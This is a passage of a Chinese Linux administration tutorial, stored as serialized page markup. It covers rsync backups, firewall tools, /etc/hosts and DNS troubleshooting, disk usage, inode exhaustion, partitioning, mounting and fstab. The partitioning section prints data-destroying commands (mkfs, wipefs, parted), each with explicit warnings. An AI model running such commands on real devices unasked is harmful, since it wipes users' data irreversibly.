\u002Fbackup\u002Fapp-2026-10-04\u002F\n",[22,89094,89095,89130],{"__ignoreMap":314},[331,89096,89097,89099,89101,89103,89105,89108,89110,89113,89116,89119,89121,89123,89125,89127],{"class":333,"line":334},[331,89098,50369],{"class":501},[331,89100,88928],{"class":344},[331,89102,88931],{"class":344},[331,89104,83473],{"class":344},[331,89106,89107],{"class":365},"'node_modules\u002F'",[331,89109,83473],{"class":344},[331,89111,89112],{"class":365},"'.git\u002F'",[331,89114,89115],{"class":365}," \u002Fsrv\u002Fapp\u002F",[331,89117,89118],{"class":365}," deploy@backup:\u002Fbackup\u002Fapp-",[331,89120,50484],{"class":337},[331,89122,39549],{"class":501},[331,89124,81418],{"class":365},[331,89126,1351],{"class":337},[331,89128,89129],{"class":365},"\u002F\n",[331,89131,89132,89134,89136,89138,89141,89143],{"class":333,"line":341},[331,89133,50369],{"class":501},[331,89135,57537],{"class":344},[331,89137,88931],{"class":344},[331,89139,89140],{"class":344}," --link-dest=..\u002Fapp-2026-10-03",[331,89142,89115],{"class":365},[331,89144,89145],{"class":365}," \u002Fbackup\u002Fapp-2026-10-04\u002F\n",[11,89147,89148,80758,89153,89156,89157,89159,89160,89162,89163,89166,89167,89169,89170,89172],{},[17,89149,89150,89152],{},[22,89151,89077],{}," 务必先干跑",[22,89154,89155],{},"-n --delete","（试运行）或 ",[22,89158,49299],{},"（显示每一项动作）。rsync 的路径语义坑：源 ",[22,89161,73652],{},"（带斜杠）= 同步",[17,89164,89165],{},"目录内容","，源 ",[22,89168,18817],{},"（无斜杠）= 在目标下建 ",[22,89171,18817],{}," 目录，这一条能造成整站目录结构错位。",[53,89174,89176],{"id":89175},"_6-防火墙与-etchosts","6. 防火墙与 \u002Fetc\u002Fhosts",[57,89178,89179,89192],{},[60,89180,89181],{},[63,89182,89183,89186,89189],{},[66,89184,89185],{},"后端",[66,89187,89188],{},"常见于",[66,89190,89191],{},"常用命令",[79,89193,89194,89213,89239],{},[63,89195,89196,89200,89202],{},[84,89197,89198],{},[22,89199,75099],{},[84,89201,74991],{},[84,89203,89204,4843,89207,17306,89210],{},[22,89205,89206],{},"sudo firewall-cmd --permanent --add-port=80\u002Ftcp",[22,89208,89209],{},"sudo firewall-cmd --reload",[22,89211,89212],{},"sudo firewall-cmd --list-all",[63,89214,89215,89219,89222],{},[84,89216,89217],{},[22,89218,75093],{},[84,89220,89221],{},"Ubuntu\u002FDebian 桌面与轻量服务器",[84,89223,89224,272,89227,272,89230,272,89233,4839,89236,5149],{},[22,89225,89226],{},"sudo ufw allow 22\u002Ftcp",[22,89228,89229],{},"sudo ufw deny 3306",[22,89231,89232],{},"sudo ufw status verbose",[22,89234,89235],{},"sudo ufw enable",[17,89237,89238],{},"开之前务必先 allow ssh",[63,89240,89241,89247,89250],{},[84,89242,89243,1901,89245],{},[22,89244,75104],{},[22,89246,75107],{},[84,89248,89249],{},"手工管理或老环境",[84,89251,89252,272,89255,17306,89258],{},[22,89253,89254],{},"sudo iptables -L -n -v --line-numbers",[22,89256,89257],{},"sudo iptables -A INPUT -p tcp --dport 443 -j ACCEPT",[22,89259,89260],{},"sudo nft list ruleset",[11,89262,89263,89264,18283,89267,89270,89271,89274,89275,26190,89278,89281,89282,89285,89286,89289],{},"三条通用提醒：",[22,89265,89266],{},"iptables -A",[17,89268,89269],{},"追加到链尾","（默认策略 DROP 时可能永远走不到），插入用 ",[22,89272,89273],{},"-I INPUT 1","；规则改完不保存重启就没了（",[22,89276,89277],{},"iptables-save > \u002Fetc\u002Fiptables\u002Frules.v4",[22,89279,89280],{},"netfilter-persistent save","）；ufw\u002Ffirewalld 都在最上层，",[17,89283,89284],{},"用底层命令加的规则它们看不见","，别混用两套。Docker 会直接写 iptables 并在启动时插入自己的链，",[22,89287,89288],{},"ufw deny"," 拦不住已 expose 的容器端口——这是极常见的困惑来源。",[11,89291,89292,18283,89294,89297,89298,1677,89301,7023],{},[22,89293,49534],{},[17,89295,89296],{},"本机静态解析","，优先级在 nsswitch 里通常高于 DNS（",[22,89299,89300],{},"\u002Fetc\u002Fnsswitch.conf",[22,89302,89303],{},"hosts: files dns",[308,89305,89307],{"className":3902,"code":89306,"language":3904,"meta":314,"style":314},"printf '10.0.0.12  app.internal\\n' | sudo tee -a \u002Fetc\u002Fhosts\n",[22,89308,89309],{"__ignoreMap":314},[331,89310,89311,89313,89316,89318,89320,89322,89324],{"class":333,"line":334},[331,89312,48991],{"class":344},[331,89314,89315],{"class":365}," '10.0.0.12  app.internal\\n'",[331,89317,15984],{"class":616},[331,89319,53150],{"class":501},[331,89321,53153],{"class":365},[331,89323,57537],{"class":344},[331,89325,82412],{"class":365},[11,89327,89328,89329,89331,89332,89334],{},"用途：临时指向某台后端验证、屏蔽域名（指 ",[22,89330,46698],{},"）、容器里注入别名。坑：改了 hosts 但应用没生效，通常是应用做了自己的 DNS 缓存，或它走的是 ",[22,89333,87746],{}," 式直接查询；反之 hosts 会盖掉 DNS，测试完记得删。",[53,89336,75156],{"id":89337},"踩坑提醒-12",[1773,89339,89340,89356,89371,89407,89423],{},[1662,89341,89342,89343,89345,89346,89349,89350,89352,89353,89355],{},"「",[22,89344,87743],{}," 显示监听在 ",[22,89347,89348],{},"127.0.0.1:8080","，外部怎么都连不上」——服务只绑了回环地址，改 ",[22,89351,49379],{},"（或配置里的 ",[22,89354,35659],{},"）。这一条比防火墙更常是根因。",[1662,89357,89358,89360,89361,6745,89364,89366,89367,89370],{},[22,89359,79224],{}," 不通不代表服务不可用（ICMP 被封），要用 ",[22,89362,89363],{},"nc -vz",[22,89365,15975],{}," 测",[17,89368,89369],{},"目标端口","才算数。",[1662,89372,89373,89374,89377,89378,89381,89382,89385,89386,4839,89389,89392,89393,89396,89397,89400,89401,1677,89404,4813],{},"排 DNS 问题按链路顺序：",[22,89375,89376],{},"getent hosts X","（含 hosts 文件）→ ",[22,89379,89380],{},"dig +short X @\u003C本机 resolv 里的服务器>"," → 换 ",[22,89383,89384],{},"@1.1.1.1"," 对比 → 查 ",[22,89387,89388],{},"\u002Fetc\u002Fresolv.conf",[22,89390,89391],{},"systemd-resolved"," 环境里它是指向 ",[22,89394,89395],{},"127.0.0.53"," 的软链接，",[17,89398,89399],{},"直接改会被覆盖","，正确改法是 ",[22,89402,89403],{},"\u002Fetc\u002Fsystemd\u002Fresolved.conf",[22,89405,89406],{},"DNS=",[1662,89408,89409,89410,5160,89412,89415,89416,655,89418,37843,89420,161],{},"容器里 ",[22,89411,49534],{},[22,89413,89414],{},"resolv.conf"," 是挂载文件，",[22,89417,78386],{},[22,89419,47951],{},[22,89421,89422],{},"Device or resource busy",[1662,89424,89425,89427],{},[22,89426,88299],{}," 中间跳的丢包率是路由器 ICMP 限速造成的假象，只看最后一跳与整体 RTT。",[48,89429,89431],{"id":89430},"十四磁盘dfdumountfsck","十四、磁盘：df、du、mount、fsck",[11,89433,89434,89436,89437,89439],{},[22,89435,55541],{}," 有两种完全不同的原因（块用满 vs inode 用满），",[22,89438,16453],{}," 找不到大头时还有第三种（被删除但仍在打开的文件）。这一章把磁盘相关命令按「看容量 → 看谁占 → 看设备 → 挂载 → 修文件系统」的顺序排好。",[4748,89441],{"height":14062,"src":89442,"title":89443},"\u002Ftutorials\u002Flinux\u002Fdemos\u002F14-disk.html","示例 14：df\u002Fdu 找空间大头与 inode 用满的排查",[53,89445,89447],{"id":89446},"_1-df-看文件系统容量","1. df —— 看文件系统容量",[308,89449,89451],{"className":3902,"code":89450,"language":3904,"meta":314,"style":314},"df -h             # 各文件系统使用率（人读大小）\ndf -hT            # 含文件系统类型\ndf -i             # inode 使用率——磁盘满的第二种原因\ndf -h \u002Fsrv\u002Fapp    # 只看这个路径所在分区\n",[22,89452,89453,89463,89473,89482],{"__ignoreMap":314},[331,89454,89455,89458,89460],{"class":333,"line":334},[331,89456,89457],{"class":501},"df",[331,89459,16456],{"class":344},[331,89461,89462],{"class":1003},"             # 各文件系统使用率（人读大小）\n",[331,89464,89465,89467,89470],{"class":333,"line":341},[331,89466,89457],{"class":501},[331,89468,89469],{"class":344}," -hT",[331,89471,89472],{"class":1003},"            # 含文件系统类型\n",[331,89474,89475,89477,89479],{"class":333,"line":357},[331,89476,89457],{"class":501},[331,89478,53226],{"class":344},[331,89480,89481],{"class":1003},"             # inode 使用率——磁盘满的第二种原因\n",[331,89483,89484,89486,89488,89490],{"class":333,"line":371},[331,89485,89457],{"class":501},[331,89487,16456],{"class":344},[331,89489,75236],{"class":365},[331,89491,89492],{"class":1003},"    # 只看这个路径所在分区\n",[11,89494,89495,89497,89498,89501,89502,4839,89505,89508,89509,89512,89513,272,89516,272,89519,89522,89523,89526,89527,161],{},[22,89496,60022],{}," 各列：",[22,89499,89500],{},"Filesystem","（来源设备或 overlay）、",[22,89503,89504],{},"Size",[17,89506,89507],{},"总容量，不含文件系统预留","，所以比 ",[22,89510,89511],{},"lsblk"," 显示的小）、",[22,89514,89515],{},"Used",[22,89517,89518],{},"Avail",[22,89520,89521],{},"Use%","（注意它按 ",[22,89524,89525],{},"Used\u002F(Used+Avail)"," 算，root 预留的 5% 不计入，所以会出现「Avail 还剩 4.5G 但 Use% 已 100%」）、",[22,89528,89529],{},"Mounted on",[53,89531,89533],{"id":89532},"_2-du-看谁占了空间","2. du —— 看谁占了空间",[308,89535,89537],{"className":3902,"code":89536,"language":3904,"meta":314,"style":314},"du -sh \u002Fsrv\u002Fapp                                    # 单个目录总占用\ndu -h --max-depth=1 . | sort -hr | head -15        # 当前目录各子目录大小 Top 15\ndu -xh \u002F --max-depth=2 2>\u002Fdev\u002Fnull | sort -h | tail -20   # 全盘 Top 大目录（-x 不跨挂载点）\ndu -sh \u002Fvar\u002Flog\u002F* | sort -h | tail                 # 按日志类别看\nfind \u002F -xdev -type f -size +200M -printf '%s\\t%p\\n' | sort -rn | head   # 全盘 Top 大文件（第六章）\nsudo lsof +L1 | head                                # 已删除但仍被占用的空间\ndocker system df                                    # Docker 占用（docker system prune -a 清理）\n",[22,89538,89539,89550,89577,89608,89631,89664,89681],{"__ignoreMap":314},[331,89540,89541,89543,89545,89547],{"class":333,"line":334},[331,89542,16453],{"class":501},[331,89544,52073],{"class":344},[331,89546,75236],{"class":365},[331,89548,89549],{"class":1003},"                                    # 单个目录总占用\n",[331,89551,89552,89554,89556,89559,89561,89563,89565,89568,89570,89572,89574],{"class":333,"line":341},[331,89553,16453],{"class":501},[331,89555,16456],{"class":344},[331,89557,89558],{"class":344}," --max-depth=1",[331,89560,46803],{"class":365},[331,89562,15984],{"class":616},[331,89564,50663],{"class":501},[331,89566,89567],{"class":344}," -hr",[331,89569,15984],{"class":616},[331,89571,15987],{"class":501},[331,89573,85134],{"class":344},[331,89575,89576],{"class":1003},"        # 当前目录各子目录大小 Top 15\n",[331,89578,89579,89581,89584,89586,89589,89591,89593,89595,89597,89599,89601,89603,89605],{"class":333,"line":357},[331,89580,16453],{"class":501},[331,89582,89583],{"class":344}," -xh",[331,89585,6544],{"class":365},[331,89587,89588],{"class":344}," --max-depth=2",[331,89590,82242],{"class":616},[331,89592,82844],{"class":365},[331,89594,15984],{"class":616},[331,89596,50663],{"class":501},[331,89598,16456],{"class":344},[331,89600,15984],{"class":616},[331,89602,16407],{"class":501},[331,89604,82034],{"class":344},[331,89606,89607],{"class":1003},"   # 全盘 Top 大目录（-x 不跨挂载点）\n",[331,89609,89610,89612,89614,89616,89618,89620,89622,89624,89626,89628],{"class":333,"line":371},[331,89611,16453],{"class":501},[331,89613,52073],{"class":344},[331,89615,83739],{"class":365},[331,89617,18020],{"class":344},[331,89619,15984],{"class":616},[331,89621,50663],{"class":501},[331,89623,16456],{"class":344},[331,89625,15984],{"class":616},[331,89627,16407],{"class":501},[331,89629,89630],{"class":1003},"                 # 按日志类别看\n",[331,89632,89633,89635,89637,89639,89641,89643,89645,89647,89649,89651,89653,89655,89657,89659,89661],{"class":333,"line":384},[331,89634,16382],{"class":501},[331,89636,6544],{"class":365},[331,89638,79795],{"class":344},[331,89640,76089],{"class":344},[331,89642,75783],{"class":365},[331,89644,79862],{"class":344},[331,89646,80324],{"class":365},[331,89648,80327],{"class":344},[331,89650,80330],{"class":365},[331,89652,15984],{"class":616},[331,89654,50663],{"class":501},[331,89656,80337],{"class":344},[331,89658,15984],{"class":616},[331,89660,15987],{"class":501},[331,89662,89663],{"class":1003},"   # 全盘 Top 大文件（第六章）\n",[331,89665,89666,89668,89671,89674,89676,89678],{"class":333,"line":397},[331,89667,37063],{"class":501},[331,89669,89670],{"class":365}," lsof",[331,89672,89673],{"class":365}," +L1",[331,89675,15984],{"class":616},[331,89677,15987],{"class":501},[331,89679,89680],{"class":1003},"                                # 已删除但仍被占用的空间\n",[331,89682,89683,89685,89687,89689],{"class":333,"line":418},[331,89684,36862],{"class":501},[331,89686,57498],{"class":365},[331,89688,57501],{"class":365},[331,89690,89691],{"class":1003},"                                    # Docker 占用（docker system prune -a 清理）\n",[11,89693,89694,5160,89696,89698,89699,89701,89702,89704,89705,89707,89708,89710,89711,89713,89714,89717],{},[22,89695,16453],{},[22,89697,89457],{}," 数字不一致的三个正当理由：① 有被删除但进程仍打开的文件（",[22,89700,16453],{}," 看不见，",[22,89703,89457],{}," 算满）；② 隐藏挂载点覆盖目录（",[22,89706,16453],{}," 算的是覆盖后的）；③ 文件系统预留块（",[22,89709,89457],{}," 的 Size 不含）。加 ",[22,89712,84504],{}," 避免扫进别的文件系统导致统计跑偏；",[22,89715,89716],{},"--apparent-size"," 看表观大小（稀疏文件差异巨大）。",[53,89719,89721],{"id":89720},"_3-lsblkblkidfindmnt-看设备与挂载","3. lsblk、blkid、findmnt —— 看设备与挂载",[308,89723,89725],{"className":3902,"code":89724,"language":3904,"meta":314,"style":314},"lsblk -f              # 块设备树，含文件系统类型与 UUID\nlsblk -o NAME,SIZE,FSTYPE,MOUNTPOINTS    # 自选列\nsudo blkid \u002Fdev\u002Fvdb1  # 设备 UUID 与类型——写 \u002Fetc\u002Ffstab 时用 UUID 而不是设备名\nfindmnt -T \u002Fsrv\u002Fapp   # 问这个路径落在哪个挂载点、读写还是只读（ro 就是磁盘只读挂载）\nfindmnt --fstab       # 看 fstab 的解析结果\nfree -h               # 内存与 swap；available 才是可用值（第十七章）\nsudo swapon --show    # swap 分区\u002F文件；swapon \u002Fswapfile 启用、swapoff -a 关闭（容器里通常禁用）\n",[22,89726,89727,89736,89748,89761,89773,89783,89792],{"__ignoreMap":314},[331,89728,89729,89731,89733],{"class":333,"line":334},[331,89730,89511],{"class":501},[331,89732,43839],{"class":344},[331,89734,89735],{"class":1003},"              # 块设备树，含文件系统类型与 UUID\n",[331,89737,89738,89740,89742,89745],{"class":333,"line":341},[331,89739,89511],{"class":501},[331,89741,53195],{"class":344},[331,89743,89744],{"class":365}," NAME,SIZE,FSTYPE,MOUNTPOINTS",[331,89746,89747],{"class":1003},"    # 自选列\n",[331,89749,89750,89752,89755,89758],{"class":333,"line":357},[331,89751,37063],{"class":501},[331,89753,89754],{"class":365}," blkid",[331,89756,89757],{"class":365}," \u002Fdev\u002Fvdb1",[331,89759,89760],{"class":1003},"  # 设备 UUID 与类型——写 \u002Fetc\u002Ffstab 时用 UUID 而不是设备名\n",[331,89762,89763,89766,89768,89770],{"class":333,"line":371},[331,89764,89765],{"class":501},"findmnt",[331,89767,57251],{"class":344},[331,89769,75236],{"class":365},[331,89771,89772],{"class":1003},"   # 问这个路径落在哪个挂载点、读写还是只读（ro 就是磁盘只读挂载）\n",[331,89774,89775,89777,89780],{"class":333,"line":384},[331,89776,89765],{"class":501},[331,89778,89779],{"class":344}," --fstab",[331,89781,89782],{"class":1003},"       # 看 fstab 的解析结果\n",[331,89784,89785,89787,89789],{"class":333,"line":397},[331,89786,57359],{"class":501},[331,89788,16456],{"class":344},[331,89790,89791],{"class":1003},"               # 内存与 swap；available 才是可用值（第十七章）\n",[331,89793,89794,89796,89799,89802],{"class":333,"line":418},[331,89795,37063],{"class":501},[331,89797,89798],{"class":365}," swapon",[331,89800,89801],{"class":344}," --show",[331,89803,89804],{"class":1003},"    # swap 分区\u002F文件；swapon \u002Fswapfile 启用、swapoff -a 关闭（容器里通常禁用）\n",[53,89806,89808],{"id":89807},"_4-inode-用满另一种磁盘满","4. inode 用满：另一种「磁盘满」",[11,89810,89811,89812,89814,89815,89817,89818,18878,89821,89824],{},"症状：",[22,89813,60022],{}," 显示还有 30% 空间，但写文件报 ",[22,89816,55541],{}," → 跑 ",[22,89819,89820],{},"df -i",[22,89822,89823],{},"IFuse%"," = 100% 就是 inode 用满。谁吃的：",[308,89826,89828],{"className":3902,"code":89827,"language":3904,"meta":314,"style":314},"for d in \u002Fvar\u002Fspool\u002F* \u002Fsrv\u002Fapp\u002Ftmp; do echo -n \"$d \"; find $d -type f | wc -l; done\nfind \u002F -xdev -type f | awk -F\u002F '{print $2\"\u002F\"$3}' | sort | uniq -c | sort -rn | head\nfind \u002Fsrv\u002Fapp\u002Ftmp -type f -mtime +1 -delete    # 清完 df -i 立刻回落\n",[22,89829,89830,89883,89925],{"__ignoreMap":314},[331,89831,89832,89834,89837,89839,89842,89845,89847,89849,89852,89854,89856,89859,89861,89863,89865,89868,89870,89872,89874,89876,89878,89880],{"class":333,"line":334},[331,89833,18917],{"class":616},[331,89835,89836],{"class":337}," d ",[331,89838,27385],{"class":616},[331,89840,89841],{"class":365}," \u002Fvar\u002Fspool\u002F*",[331,89843,89844],{"class":365}," \u002Fsrv\u002Fapp\u002Ftmp",[331,89846,620],{"class":337},[331,89848,63897],{"class":616},[331,89850,89851],{"class":344}," echo",[331,89853,75986],{"class":344},[331,89855,51992],{"class":365},[331,89857,89858],{"class":337},"$d",[331,89860,51992],{"class":365},[331,89862,620],{"class":337},[331,89864,16382],{"class":501},[331,89866,89867],{"class":337}," $d ",[331,89869,79662],{"class":344},[331,89871,75783],{"class":365},[331,89873,15984],{"class":616},[331,89875,16436],{"class":501},[331,89877,43868],{"class":344},[331,89879,620],{"class":337},[331,89881,89882],{"class":616},"done\n",[331,89884,89885,89887,89889,89891,89893,89895,89897,89899,89902,89905,89907,89909,89911,89913,89915,89917,89919,89921,89923],{"class":333,"line":341},[331,89886,16382],{"class":501},[331,89888,6544],{"class":365},[331,89890,79795],{"class":344},[331,89892,76089],{"class":344},[331,89894,75783],{"class":365},[331,89896,15984],{"class":616},[331,89898,82068],{"class":501},[331,89900,89901],{"class":344}," -F\u002F",[331,89903,89904],{"class":365}," '{print $2\"\u002F\"$3}'",[331,89906,15984],{"class":616},[331,89908,50663],{"class":501},[331,89910,15984],{"class":616},[331,89912,81958],{"class":501},[331,89914,15990],{"class":344},[331,89916,15984],{"class":616},[331,89918,50663],{"class":501},[331,89920,80337],{"class":344},[331,89922,15984],{"class":616},[331,89924,80342],{"class":501},[331,89926,89927,89929,89931,89933,89935,89937,89940,89942],{"class":333,"line":357},[331,89928,16382],{"class":501},[331,89930,89844],{"class":365},[331,89932,76089],{"class":344},[331,89934,75783],{"class":365},[331,89936,79877],{"class":344},[331,89938,89939],{"class":365}," +1",[331,89941,80153],{"class":344},[331,89943,89944],{"class":1003},"    # 清完 df -i 立刻回落\n",[11,89946,89947,89948,89951,89952,89955,89956,89959],{},"通常是海量小文件（session、缓存、mail queue、监控点）。根治靠重建分区时 ",[22,89949,89950],{},"mkfs -T ext4 -i 4096","（每 4096 字节一个 inode，默认 16384）或换 XFS\u002FBtrfs——ext4 的 inode 数量在格式化时定死，运行期不能扩；XFS 的 inode 随用随长（受 ",[22,89953,89954],{},"imaxpct"," 限制，可 ",[22,89957,89958],{},"xfs_growfs -m"," 调）。属于规划问题，需要备份重来。",[53,89961,89963],{"id":89962},"_5-分区与格式化危险区先读警告","5. 分区与格式化（危险区，先读警告）",[11,89965,89966,89967,89981,89982,89985,89986,89988,89989,5160,89992,89994,89995,5160,89998,90001],{},"危险边界必须先讲清：",[17,89968,89969,272,89971,655,89974,89977,89978,89980],{},[22,89970,74449],{},[22,89972,89973],{},"fdisk",[22,89975,89976],{},"parted"," 的写操作、",[22,89979,27365],{}," 都是不可逆的","。改分区表前一定 ",[22,89983,89984],{},"cp \u002Fetc\u002Ffstab ~\u002F"," 并做完整备份；",[22,89987,74449],{}," 之前用 ",[22,89990,89991],{},"lsblk -f",[22,89993,89765],{}," 双重确认目标设备名（",[22,89996,89997],{},"\u002Fdev\u002Fvdb",[22,89999,90000],{},"\u002Fdev\u002Fvdb1"," 差一个数字就格式化了整块盘）。",[308,90003,90005],{"className":3902,"code":90004,"language":3904,"meta":314,"style":314},"sudo fdisk \u002Fdev\u002Fvdb     # MBR\u002F传统分区：n 新建、d 删除、p 打印、w 写入、q 弃改动\n                        # 只在 w 之前不生效；2TB 以上要用 GPT\nsudo parted -s \u002Fdev\u002Fvdb mklabel gpt                # 建 GPT 分区表\nsudo parted \u002Fdev\u002Fvdb mkpart data ext4 1MiB 100%    # 建分区——注意 parted 的 mkpart 立即写盘，\n                                                   # 没有「先看看」的机会；改完 partprobe 通知内核\nsudo mkfs.ext4 -L data -m 1 \u002Fdev\u002Fvdb1              # 建 ext4 文件系统——销毁数据！\n                                                   # -L 卷标；-m 1 把 root 预留降到 1%\nsudo mkfs.xfs -f \u002Fdev\u002Fvdb1                         # 建 XFS：-f 强制覆盖已有签名\nsudo wipefs -a \u002Fdev\u002Fvdb1                           # 清设备上的文件系统签名——重建盘前用，极其危险\n",[22,90006,90007,90020,90025,90045,90070,90075,90095,90100,90114],{"__ignoreMap":314},[331,90008,90009,90011,90014,90017],{"class":333,"line":334},[331,90010,37063],{"class":501},[331,90012,90013],{"class":365}," fdisk",[331,90015,90016],{"class":365}," \u002Fdev\u002Fvdb",[331,90018,90019],{"class":1003},"     # MBR\u002F传统分区：n 新建、d 删除、p 打印、w 写入、q 弃改动\n",[331,90021,90022],{"class":333,"line":341},[331,90023,90024],{"class":1003},"                        # 只在 w 之前不生效；2TB 以上要用 GPT\n",[331,90026,90027,90029,90032,90034,90036,90039,90042],{"class":333,"line":357},[331,90028,37063],{"class":501},[331,90030,90031],{"class":365}," parted",[331,90033,15978],{"class":344},[331,90035,90016],{"class":365},[331,90037,90038],{"class":365}," mklabel",[331,90040,90041],{"class":365}," gpt",[331,90043,90044],{"class":1003},"                # 建 GPT 分区表\n",[331,90046,90047,90049,90051,90053,90056,90058,90061,90064,90067],{"class":333,"line":371},[331,90048,37063],{"class":501},[331,90050,90031],{"class":365},[331,90052,90016],{"class":365},[331,90054,90055],{"class":365}," mkpart",[331,90057,29398],{"class":365},[331,90059,90060],{"class":365}," ext4",[331,90062,90063],{"class":365}," 1MiB",[331,90065,90066],{"class":365}," 100%",[331,90068,90069],{"class":1003},"    # 建分区——注意 parted 的 mkpart 立即写盘，\n",[331,90071,90072],{"class":333,"line":384},[331,90073,90074],{"class":1003},"                                                   # 没有「先看看」的机会；改完 partprobe 通知内核\n",[331,90076,90077,90079,90082,90084,90086,90088,90090,90092],{"class":333,"line":397},[331,90078,37063],{"class":501},[331,90080,90081],{"class":365}," mkfs.ext4",[331,90083,75814],{"class":344},[331,90085,29398],{"class":365},[331,90087,79305],{"class":344},[331,90089,30777],{"class":344},[331,90091,89757],{"class":365},[331,90093,90094],{"class":1003},"              # 建 ext4 文件系统——销毁数据！\n",[331,90096,90097],{"class":333,"line":418},[331,90098,90099],{"class":1003},"                                                   # -L 卷标；-m 1 把 root 预留降到 1%\n",[331,90101,90102,90104,90107,90109,90111],{"class":333,"line":427},[331,90103,37063],{"class":501},[331,90105,90106],{"class":365}," mkfs.xfs",[331,90108,43839],{"class":344},[331,90110,89757],{"class":365},[331,90112,90113],{"class":1003},"                         # 建 XFS：-f 强制覆盖已有签名\n",[331,90115,90116,90118,90121,90123,90125],{"class":333,"line":439},[331,90117,37063],{"class":501},[331,90119,90120],{"class":365}," wipefs",[331,90122,57537],{"class":344},[331,90124,89757],{"class":365},[331,90126,90127],{"class":1003},"                           # 清设备上的文件系统签名——重建盘前用，极其危险\n",[53,90129,90131],{"id":90130},"_6-mountumount-与-etcfstab","6. mount、umount 与 \u002Fetc\u002Ffstab",[308,90133,90135],{"className":3902,"code":90134,"language":3904,"meta":314,"style":314},"sudo mount \u002Fdev\u002Fvdb1 \u002Fdata                  # 挂载；挂载点原有内容会被「遮住」（不是丢失），卸载后回来\nsudo mount -o ro,noexec \u002Fdev\u002Fvdb1 \u002Fdata     # 只读 + 禁执行挂载\nsudo mount -o remount,rw \u002F                  # 重新挂载为读写\nsudo umount \u002Fdata                           # 卸载\nsudo umount -l \u002Fdata                        # 惰性卸载——报 target is busy 时先用\nsudo lsof +D \u002Fdata                          # lsof\u002Ffuser 找占用者，别习惯性 -l 掩盖问题\nsudo fuser -vm \u002Fdata\nsudo systemctl daemon-reload && sudo mount -a   # 改完 fstab 用 mount -a 验证：成功才说明重启不会翻车\nfindmnt --verify                            # 检查 \u002Fetc\u002Ffstab 语法——fstab 写错会导致启动进 emergency mode\n",[22,90136,90137,90152,90170,90186,90198,90211,90225,90238,90257],{"__ignoreMap":314},[331,90138,90139,90141,90144,90146,90149],{"class":333,"line":334},[331,90140,37063],{"class":501},[331,90142,90143],{"class":365}," mount",[331,90145,89757],{"class":365},[331,90147,90148],{"class":365}," \u002Fdata",[331,90150,90151],{"class":1003},"                  # 挂载；挂载点原有内容会被「遮住」（不是丢失），卸载后回来\n",[331,90153,90154,90156,90158,90160,90163,90165,90167],{"class":333,"line":341},[331,90155,37063],{"class":501},[331,90157,90143],{"class":365},[331,90159,53195],{"class":344},[331,90161,90162],{"class":365}," ro,noexec",[331,90164,89757],{"class":365},[331,90166,90148],{"class":365},[331,90168,90169],{"class":1003},"     # 只读 + 禁执行挂载\n",[331,90171,90172,90174,90176,90178,90181,90183],{"class":333,"line":357},[331,90173,37063],{"class":501},[331,90175,90143],{"class":365},[331,90177,53195],{"class":344},[331,90179,90180],{"class":365}," remount,rw",[331,90182,6544],{"class":365},[331,90184,90185],{"class":1003},"                  # 重新挂载为读写\n",[331,90187,90188,90190,90193,90195],{"class":333,"line":371},[331,90189,37063],{"class":501},[331,90191,90192],{"class":365}," umount",[331,90194,90148],{"class":365},[331,90196,90197],{"class":1003},"                           # 卸载\n",[331,90199,90200,90202,90204,90206,90208],{"class":333,"line":384},[331,90201,37063],{"class":501},[331,90203,90192],{"class":365},[331,90205,43868],{"class":344},[331,90207,90148],{"class":365},[331,90209,90210],{"class":1003},"                        # 惰性卸载——报 target is busy 时先用\n",[331,90212,90213,90215,90217,90220,90222],{"class":333,"line":397},[331,90214,37063],{"class":501},[331,90216,89670],{"class":365},[331,90218,90219],{"class":365}," +D",[331,90221,90148],{"class":365},[331,90223,90224],{"class":1003},"                          # lsof\u002Ffuser 找占用者，别习惯性 -l 掩盖问题\n",[331,90226,90227,90229,90232,90235],{"class":333,"line":418},[331,90228,37063],{"class":501},[331,90230,90231],{"class":365}," fuser",[331,90233,90234],{"class":344}," -vm",[331,90236,90237],{"class":365}," \u002Fdata\n",[331,90239,90240,90242,90244,90246,90248,90250,90252,90254],{"class":333,"line":427},[331,90241,37063],{"class":501},[331,90243,37081],{"class":365},[331,90245,53165],{"class":365},[331,90247,34829],{"class":337},[331,90249,37063],{"class":501},[331,90251,90143],{"class":365},[331,90253,57537],{"class":344},[331,90255,90256],{"class":1003},"   # 改完 fstab 用 mount -a 验证：成功才说明重启不会翻车\n",[331,90258,90259,90261,90264],{"class":333,"line":439},[331,90260,89765],{"class":501},[331,90262,90263],{"class":344}," --verify",[331,90265,90266],{"class":1003},"                            # 检查 \u002Fetc\u002Ffstab 语法——fstab 写错会导致启动进 emergency mode\n",[11,90268,90269,90272],{},[22,90270,90271],{},"\u002Fetc\u002Ffstab"," 六个字段：",[308,90274,90276],{"className":75245,"code":90275,"language":75247,"meta":314,"style":314},"UUID=2f8b…  \u002Fdata  ext4  defaults,noatime,nofail  0  2\n设备或UUID   挂载点 类型   挂载选项                dump  fsck顺序\n",[22,90277,90278,90283],{"__ignoreMap":314},[331,90279,90280],{"class":333,"line":334},[331,90281,90282],{},"UUID=2f8b…  \u002Fdata  ext4  defaults,noatime,nofail  0  2\n",[331,90284,90285],{"class":333,"line":341},[331,90286,90287],{},"设备或UUID   挂载点 类型   挂载选项                dump  fsck顺序\n",[57,90289,90290,90301],{},[60,90291,90292],{},[63,90293,90294,90296,90299],{},[66,90295,1872],{},[66,90297,90298],{},"常用值",[66,90300,22374],{},[79,90302,90303,90324,90342,90369,90380,90392],{},[63,90304,90305,90308,90318],{},[84,90306,90307],{},"1 设备",[84,90309,90310,272,90313,272,90316],{},[22,90311,90312],{},"UUID=",[22,90314,90315],{},"LABEL=",[22,90317,90000],{},[84,90319,90320,90323],{},[17,90321,90322],{},"一律用 UUID","：设备名会因内核探测顺序变化",[63,90325,90326,90329,90339],{},[84,90327,90328],{},"2 挂载点",[84,90330,90331,272,90333,272,90336],{},[22,90332,50866],{},[22,90334,90335],{},"swap",[22,90337,90338],{},"\u002Fdata",[84,90340,90341],{},"目录必须已存在",[63,90343,90344,90347,90363],{},[84,90345,90346],{},"3 类型",[84,90348,90349,272,90352,272,90355,272,90358,272,90361],{},[22,90350,90351],{},"ext4",[22,90353,90354],{},"xfs",[22,90356,90357],{},"vfat",[22,90359,90360],{},"nfs",[22,90362,90335],{},[84,90364,90365,90368],{},[22,90366,90367],{},"auto"," 让 mount 猜",[63,90370,90371,90374,90377],{},[84,90372,90373],{},"4 选项",[84,90375,90376],{},"见下",[84,90378,90379],{},"逗号分隔，无空格",[63,90381,90382,90385,90389],{},[84,90383,90384],{},"5 dump",[84,90386,90387],{},[22,90388,628],{},[84,90390,90391],{},"备份工具用，现代基本都填 